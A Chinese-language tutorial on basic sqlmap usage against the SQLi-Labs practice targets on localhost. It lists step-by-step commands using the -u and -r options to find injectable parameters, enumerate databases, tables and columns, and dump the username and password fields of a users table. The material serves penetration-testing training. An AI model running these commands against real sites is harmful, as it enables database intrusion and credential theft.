SQLMAP基本使用实例
-u参数(直接输入目标URL)
命令实例:sqlmap -u "http://127.0.0.1/sql/Less-1/?id=1"
验证过程
判断可注入的参数
判断可以用哪种SQL注入技术来注入
识别出所有存在的注入类型
尝试去判定数据库版本、开发语言、操作系统版本
目标靶机:SQL-Lab的Less-1
要求:利用SQLMAP实现注入,获取users表中存储的用户名、密码
-u参数的用法:
爆当前数据库的库名
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current-db
爆指定数据库中的表名
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D 表名 --tables
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security --tables
爆指定数据表中的字段名
sqlmap -u "http://127.0.0.1/Less-1/?id=1" -D 数据库名 -T 表名--columns
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users --columns
爆指定字段的值
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D 数据库名 -T 表名 -C 字段名1,字段名2... (相互用逗号隔开)--dump
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users -C username,password --dump
2.-r参数(从文本文件中获取http请求)
命令实例: sqlmap -r /usr/a.txt
说明:使用该命令时须指明a.txt(保存着http请求包)文件所在的绝对路径验证过程:与-u参数类似
判断可注入的参数
判断可以用哪种SQL注入技术来注入
识别出所有存在的注入类型
尝试去判定数据库版本、开发语言、操作系统版本
目标靶机: SQLi-Lab的less-12
要求:利用SQLMAP实现注入,获取users表中存储的用户名、密码
利用Burpsuite截取HTTP Request报文
将截取到的HTTP Request报文保存在文本文件中
利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆当前数据库的库名
sqlmap.py -r D:\python\a.txt --current-db
利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆指定数据库的表名
sqlmap.py -r D:\python\a.txt -D security --tables
利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆指定数据表的字段名
sqlmap.py -r D:\python\a.txt -D security -T users --columns
利用SQLMAP对该文本文件中涉及的目标网站进行注入——爆指定字段的值
sqlmap.py -r D:\python\a.txt -D security -T users -C username,password --dump